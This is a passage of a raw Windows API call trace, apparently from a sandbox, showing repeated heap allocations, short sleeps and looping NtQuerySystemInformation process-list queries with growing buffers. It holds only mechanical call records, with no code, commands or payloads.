Flags=0x8, Size=0x26) returned 0x4d8890 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f6108 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6108 [0035.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.493] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6108 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d2720 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2720) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d2720 [0035.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2720) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6108 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6108) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.495] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.495] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fc820) returned 1 [0035.495] Sleep (dwMilliseconds=0x64) [0035.664] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4ffd50 [0035.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.665] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x2048) returned 0x4ffd50 [0035.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.665] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x306c) returned 0x4ffd50 [0035.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.665] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x4090) returned 0x4ffd50 [0035.665] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.666] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x50b4) returned 0x4ffd50 [0035.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.666] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x60d8) returned 0x4ffd50 [0035.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.667] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x70fc) returned 0x4ffd50 [0035.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.667] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x8120) returned 0x4ffd50 [0035.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.667] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0x9144) returned 0x4ffd50 [0035.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.667] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0xa168) returned 0x4ffd50 [0035.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.667] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0xb18c) returned 0x4ffd50 [0035.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.668] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0xc1b0) returned 0x4ffd50 [0035.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0xc0000004 [0035.668] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4ffd50, Size=0xd1d4) returned 0x4ffd50 [0035.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4ffd50, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4ffd50, ResultLength=0x0) returned 0x0 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88e0 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88e0) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4d8 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4d8) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6948 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6948 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6948 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.668] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.668] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4d8 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4d8) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4d8 [0035.669] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4d8) returned 1 [0035.669] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa30 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa30 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.670] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f6248 [0035.670] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6948 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f6248 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6948 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d27b0 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27b0) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6948 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d27b0 [0035.671] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27b0) returned 1 [0035.671] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6948 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.672] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6948 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6948) returned 1 [0035.672] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4ffd50) returned 1 [0035.672] Sleep (dwMilliseconds=0x64) [0035.789] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x5013c0 [0035.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.789] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x2048) returned 0x5013c0 [0035.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.790] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x306c) returned 0x5013c0 [0035.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.790] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x4090) returned 0x5013c0 [0035.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.790] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x50b4) returned 0x5013c0 [0035.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.790] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x60d8) returned 0x5013c0 [0035.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.790] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x70fc) returned 0x5013c0 [0035.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.791] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x8120) returned 0x5013c0 [0035.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.791] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0x9144) returned 0x5013c0 [0035.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.791] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0xa168) returned 0x5013c0 [0035.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.791] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0xb18c) returned 0x5013c0 [0035.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.791] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0xc1b0) returned 0x5013c0 [0035.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0xc0000004 [0035.792] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5013c0, Size=0xd1d4) returned 0x5013c0 [0035.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5013c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x5013c0, ResultLength=0x0) returned 0x0 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88e0 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88e0) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4f0 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6248 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6248) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0035.792] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0035.792] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0035.792] 